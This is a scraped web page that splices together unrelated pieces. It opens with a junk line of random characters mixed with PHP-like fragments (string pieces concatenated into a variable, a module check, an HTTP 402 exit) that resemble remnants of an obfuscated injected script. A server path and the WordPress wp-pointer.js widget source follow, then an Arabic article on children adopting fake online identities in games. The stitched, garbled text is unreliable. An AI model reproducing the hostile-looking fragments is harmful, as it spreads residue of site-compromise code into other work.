财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/js/wp-pointer.js
/**
 * @output wp-includes/js/wp-pointer.js
 */

/**
 * Initializes the wp-pointer widget using jQuery UI Widget Factory.
 */
(function($){
	var identifier = 0,
		zindex = 9999;

	$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
		options: {
			pointerClass: 'wp-pointer',
			pointerWidth: 320,
			content: function() {
				return $(this).text();
			},
			buttons: function( event, t ) {
				var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );

				return button.on( 'click.pointer', function(e) {
					e.preventDefault();
					t.element.pointer('close');
				});
			},
			position: 'top',
			show: function( event, t ) {
				t.pointer.show();
				t.opened();
			},
			hide: function( event, t ) {
				t.pointer.hide();
				t.closed();
			},
			document: document
		},

		/**
		 * A class that represents a WordPress pointer.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @constructs $.widget.wp.pointer
		 */
		_create: function() {
			var positioning,
				family;

			this.content = $('<div class="wp-pointer-content"></div>');
			this.arrow   = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');

			family = this.element.parents().add( this.element );
			positioning = 'absolute';

			if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
				positioning = 'fixed';

			this.pointer = $('<div />')
				.append( this.content )
				.append( this.arrow )
				.attr('id', 'wp-pointer-' + identifier++)
				.addClass( this.options.pointerClass )
				.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
				.appendTo( this.options.document.body );
		},

		/**
		 * Sets an option on the pointer instance.
		 *
		 * There are 4 special values that do something extra:
		 *
		 * - `document`     will transfer the pointer to the body of the new document
		 *                  specified by the value.
		 * - `pointerClass` will change the class of the pointer element.
		 * - `position`     will reposition the pointer.
		 * - `content`      will update the content of the pointer.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {string} key   The key of the option to set.
		 * @param {*}      value The value to set the option to.
		 */
		_setOption: function( key, value ) {
			var o   = this.options,
				tip = this.pointer;

			// Handle document transfer.
			if ( key === 'document' && value !== o.document ) {
				tip.detach().appendTo( value.body );

			// Handle class change.
			} else if ( key === 'pointerClass' ) {
				tip.removeClass( o.pointerClass ).addClass( value );
			}

			// Call super method.
			$.Widget.prototype._setOption.apply( this, arguments );

			// Reposition automatically.
			if ( key === 'position' ) {
				this.reposition();

			// Update content automatically if pointer is open.
			} else if ( key === 'content' && this.active ) {
				this.update();
			}
		},

		/**
		 * Removes the pointer element from of the DOM.
		 *
		 * Makes sure that the widget and all associated bindings are destroyed.
		 *
		 * @since 3.3.0
		 */
		destroy: function() {
			this.pointer.remove();
			$.Widget.prototype.destroy.call( this );
		},

		/**
		 * Returns the pointer element.
		 *
		 * @since 3.3.0
		 *
		 * @return {Object} Pointer The pointer object.
		 */
		widget: function() {
			return this.pointer;
		},

		/**
		 * Updates the content of the pointer.
		 *
		 * This function doesn't update the content of the pointer itself. That is done
		 * by the `_update` method. This method will make sure that the `_update` method
		 * is called with the right content.
		 *
		 * The content in the options can either be a string or a callback. If it is a
		 * callback the result of this callback is used as the content.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event The event that caused the update.
		 *
		 * @return {Promise} Resolves when the update has been executed.
		 */
		update: function( event ) {
			var self = this,
				o    = this.options,
				dfd  = $.Deferred(),
				content;

			if ( o.disabled )
				return;

			dfd.done( function( content ) {
				self._update( event, content );
			});

			// Either o.content is a string...
			if ( typeof o.content === 'string' ) {
				content = o.content;

			// ...or o.content is a callback.
			} else {
				content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
			}

			// If content is set, then complete the update.
			if ( content )
				dfd.resolve( content );

			return dfd.promise();
		},

		/**
		 * Updates the content of the pointer.
		 *
		 * Will make sure that the pointer is correctly positioned.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} event   The event that caused the update.
		 * @param {*}      content The content object. Either a string or a jQuery tree.
		 */
		_update: function( event, content ) {
			var buttons,
				o = this.options;

			if ( ! content )
				return;

			// Kill any animations on the pointer.
			this.pointer.stop();
			this.content.html( content );

			buttons = o.buttons.call( this.element[0], event, this._handoff() );
			if ( buttons ) {
				buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
			}

			this.reposition();
		},

		/**
		 * Repositions the pointer.
		 *
		 * Makes sure the pointer is the correct size for its content and makes sure it
		 * is positioned to point to the right element.
		 *
		 * @since 3.3.0
		 */
		reposition: function() {
			var position;

			if ( this.options.disabled )
				return;

			position = this._processPosition( this.options.position );

			// Reposition pointer.
			this.pointer.css({
				top: 0,
				left: 0,
				zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
			}).show().position($.extend({
				of: this.element,
				collision: 'fit none'
			}, position )); // The object comes before this.options.position so the user can override position.of.

			this.repoint();
		},

		/**
		 * Sets the arrow of the pointer to the correct side of the pointer element.
		 *
		 * @since 3.3.0
		 */
		repoint: function() {
			var o = this.options,
				edge;

			if ( o.disabled )
				return;

			edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;

			// Remove arrow classes.
			this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );

			// Add arrow class.
			this.pointer.addClass( 'wp-pointer-' + edge );
		},

		/**
		 * Calculates the correct position based on a position in the settings.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {string|Object} position Either a side of a pointer or an object
		 *                                 containing a pointer.
		 *
		 * @return {Object} result  An object containing position related data.
		 */
		_processPosition: function( position ) {
			var opposite = {
					top: 'bottom',
					bottom: 'top',
					left: 'right',
					right: 'left'
				},
				result;

			// If the position object is a string, it is shorthand for position.edge.
			if ( typeof position == 'string' ) {
				result = {
					edge: position + ''
				};
			} else {
				result = $.extend( {}, position );
			}

			if ( ! result.edge )
				return result;

			if ( result.edge == 'top' || result.edge == 'bottom' ) {
				result.align = result.align || 'left';

				result.at = result.at || result.align + ' ' + opposite[ result.edge ];
				result.my = result.my || result.align + ' ' + result.edge;
			} else {
				result.align = result.align || 'top';

				result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
				result.my = result.my || result.edge + ' ' + result.align;
			}

			return result;
		},

		/**
		 * Opens the pointer.
		 *
		 * Only opens the pointer widget in case it is closed and not disabled, and
		 * calls 'update' before doing so. Calling update makes sure that the pointer
		 * is correctly sized and positioned.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event The event that triggered the opening of this pointer.
		 */
		open: function( event ) {
			var self = this,
				o    = this.options;

			if ( this.active || o.disabled || this.element.is(':hidden') )
				return;

			this.update().done( function() {
				self._open( event );
			});
		},

		/**
		 * Opens and shows the pointer element.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} event An event object.
		 */
		_open: function( event ) {
			var self = this,
				o    = this.options;

			if ( this.active || o.disabled || this.element.is(':hidden') )
				return;

			this.active = true;

			this._trigger( 'open', event, this._handoff() );

			this._trigger( 'show', event, this._handoff({
				opened: function() {
					self._trigger( 'opened', event, self._handoff() );
				}
			}));
		},

		/**
		 * Closes and hides the pointer element.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event An event object.
		 */
		close: function( event ) {
			if ( !this.active || this.options.disabled )
				return;

			var self = this;
			this.active = false;

			this._trigger( 'close', event, this._handoff() );
			this._trigger( 'hide', event, this._handoff({
				closed: function() {
					self._trigger( 'closed', event, self._handoff() );
				}
			}));
		},

		/**
		 * Puts the pointer on top by increasing the z-index.
		 *
		 * @since 3.3.0
		 */
		sendToTop: function() {
			if ( this.active )
				this.pointer.css( 'z-index', zindex++ );
		},

		/**
		 * Toggles the element between shown and hidden.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event An event object.
		 */
		toggle: function( event ) {
			if ( this.pointer.is(':hidden') )
				this.open( event );
			else
				this.close( event );
		},

		/**
		 * Extends the pointer and the widget element with the supplied parameter, which
		 * is either an element or a function.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} extend The object to be merged into the original object.
		 *
		 * @return {Object} The extended object.
		 */
		_handoff: function( extend ) {
			return $.extend({
				pointer: this.pointer,
				element: this.element
			}, extend);
		}
	});
})(jQuery);
العاب العالم الرقمي تدفع الأطفال إلى تقمص الهويات الزائفة – tahkoom.com
معرفة

العاب العالم الرقمي تدفع الأطفال إلى تقمص الهويات الزائفة

 كتبت ميرنا أشرف 

في عصر اصبحت تتداخل فيه الطفولة مع التكنولوجيا بشكل غير مسبوق، لم يعد الكذب مجرّد سلوك مرفوض، بل تحول لدى بعض الأطفال إلى وسيلة مبررة للوصول إلى أهدافهم الالكترونية. فمع الانتشار الواسع للألعاب الإلكترونية ومواقع التواصل، اصبح من الشائع أن يتقمص الطفل شخصية وهمية، أو يستخدم حسابًا مزيفًا، أو يزود عمره لتجاوز شروط الاستخدام، هذه السلوكيات التي قد تبدو بسيطة أو عابرة، تحمل في داخلها تغيّراً عميقًا في مفاهيم الصدق والأخلاق لدى الاطفال.

 هل أصبحت الهوية المزيفة لعبة بريئة أم بداية لانحراف القيم؟

 أوضحت كنوز أشرف، أخصائية اجتماعية، أن العديد من الألعاب الحديثة، وخاصة ألعاب الفيديو، لم تعد مجرد وسيلة للترفيه، بل أصبحت تُسهم بشكل مباشر في غرس سلوكيات سلبية لدى الأطفال والمراهقين، مثل الكذب والعنف. وتابعت، أن الهوية المزيفة لم تعد تُستخدم كلعبة بريئة، بل تحولت إلى وسيلة قد تترك أثرًا عميقًا على التكوين الأخلاقي والنفسي للأطفال، مما يستدعي الانتباه لتأثير هذه الألعاب على شخصياتهم وقيمهم، ففي العديد من الألعاب الشهيرة مثل ببجي وفري فاير، يُدفع اللاعب إلى تقمص شخصيات عدوانية، واستخدام الحيلة والخداع للفوز، مما قد ينعكس على سلوكياتهم في الحياة الواقعية.

 تابعت، ورغم أن البعض يرى فيها وسيلة للترفيه أو تنمية المهارات، إلا أن الاستخدام غير الواعي وغياب الرقابة الأبوية يحوّلها إلى خطر حقيقي يهدد منظومة القيم والسلوك.

 اما بالنسبة للكذب الإلكتروني فقد بينت أشرف، أنه اصبح أسهل بكثير من الكذب في الواقع خاصة بالنسبة للأطفال، الذين يجدون في العالم الالكتروني مساحة مفتوحة للتلاعب بالحقائق دون مواجهة عواقب مباشرة،

 يبرر الأطفال هذا النوع من الكذب غالبًا برغبتهم في الوصول إلى هدف معين، لا تسمح لهم أعمارهم الحقيقية باكتشافه. فمعظم الألعاب الإلكترونية، يوجد بها سياسات عمرية محددة، تفرض قيودًا على الفئات الأصغر سنًا. ونتيجة لذلك، يلجأ كثير من الأطفال إلى تغيير أعمارهم وتقديم معلومات غير صحيحة من أجل تجاوز هذه القيود والدخول إلى عالم اللعبة، موضحه أنه في نظرهم، هذا الخداع لا يُعد كذبًا حقيقيًا، بل مجرد وسيلة لتحقيق غاية ترفيهية. غير أن هذا السلوك، رغم بساطته في الظاهر، يعكس بداية اتجاه نحو تبرير الكذب، مما يستدعي من الاسرة المربية أن توعي الأطفال بخطورة الأمر.

 واتفق معها في الرأي هشام عبدالعال أستاذ الحاسب الآلي، علي أن الكذب الإلكتروني أسهل غالبًا لأنه يفتقر إلى التفاعل المباشر، مما يقلل الشعور بالذنب أو الخوف من العقاب الفوري. الأطفال قد يبررونه بأنه مجرد لعبة أو شيء لا يراه أحد، فهم لا يشعرون بنفس الوزن الأخلاقي للكذب عندما يكون خلف شاشة

 أضاف عبد العال، التكنولوجيا قد تتيح للأطفال مساحة لتجربة الكذب دون عواقب مباشرة، خصوصًا في البيئات الرقمية حيث تقل الرقابة، وتغيب المواجهة وجهًا لوجه. فمثلًا: يمكن للطفل أن يُنشئ حسابًا باسم مستعار أو عمر غير حقيقي.

تأثير ألعاب الفيديو ومواقع التواصل على إدراك الطفل للصدق والقيم

 و من جانبها أكدت أشرف، أن ألعاب الفيديو ومواقع التواصل الاجتماعي تنعكس بشكل مباشر على إدراك الطفل للصدق، وفهمه لهويته، وتشكُّل منظومة القيم لديه. فالطفل الذي يدخل إلى هذا العالم الرقمي، غالبًا ما يجد نفسه داخل بيئة غير مألوفة، بل مجتمع مظلم، لا يملك أدوات كافية لفهمه أو التفاعل معه بوعي.

 اضافت أشرف، أنه عبر مواقع التواصل، يتعرض الأطفال يوميًا لألفاظ وسلوكيات غير لائقة، تبدأ بالكذب وتمتد إلى العنف والتنمر، خاصة التنمر الإلكتروني الذي اصبح ظاهرة منتشرة.

 أما ألعاب الفيديو تابعت أشرف، فهي لا تقل خطورة، إذ تقدم محتوى يحتوي علي العدوانية ويكافئ الخداع لتحقيق الفوز. هذه التجارب المتكررة ترسخ مفاهيم مشوشة لدى الطفل، تجعل من الكذب وسيلة مقبولة، ومن التنمر سلوك طبيعي، مما يؤدي إلى خلل واضح في البناء القيمي لسلوك شخصيه الطفل.

 العالم الرقمي أصبح جزءًا من حياة الأطفال اليومية، ويؤثر في سلوكهم وقيمهم. لذلك، من الضروري تعليمهم أخلاقيات الإنترنت كما نعلمهم الصدق في الواقع، مع وجود سياسات واضحة ورقابة أسرية صارمة تحميهم من الكذب، التنمر، والمحتوى الضار.

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى